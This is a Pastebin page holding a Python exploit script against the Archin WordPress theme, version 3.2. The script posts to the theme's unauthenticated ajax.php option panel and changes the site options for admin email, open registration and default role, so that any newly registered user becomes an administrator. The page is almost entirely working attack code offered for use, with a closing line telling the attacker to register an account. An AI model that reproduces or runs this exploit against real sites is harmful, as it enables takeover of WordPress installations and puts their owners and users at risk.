long_term

Exploit Archin Unauthenticated Configuration Access

Jul 22nd, 2014
344
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.21 KB | None | 0 0
  1.  
  2. # Exploit Title: Archin WordPress Theme Unauthenticated Configuration Access
  3. # Date: Sept 29, 2012
  4. # Exploit Author: bwall (@bwallHatesTwits)
  5. # Vendor Homepage: http://themeforest.net/user/wptitans
  6. # Software Link: http://themeforest.net/item/archin-premium-wordpress-business-theme/239432
  7. # Version: 3.2
  8. # Tested on: Ubuntu
  9. import httplib, urllib
  10. #target site
  11. site = "sites" #without http://
  12. url = "/wordpress/wp-content/themes/archin/hades_framework/option_panel/ajax.php" #path to ajax.php
  13. def ChangeOption(site, url, option_name, option_value):
  14.     params = urllib.urlencode({'action': 'save', 'values[0][name]': option_name, 'values[0][value]': option_value})
  15.     headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}
  16.     conn = httplib.HTTPConnection(site)
  17.     conn.request("POST", url, params, headers)
  18.     response = conn.getresponse()
  19.     print response.status, response.reason
  20.     data = response.read()
  21.     print data
  22.     conn.close()
  23. ChangeOption(site, url, "admin_email", "[email protected]") #your email
  24. ChangeOption(site, url, "users_can_register", "1")
  25. ChangeOption(site, url, "default_role", "administrator")
  26. print "Now register a new user, they are an administrator by default!"
Advertisement
Add Comment
Please, Sign In to add comment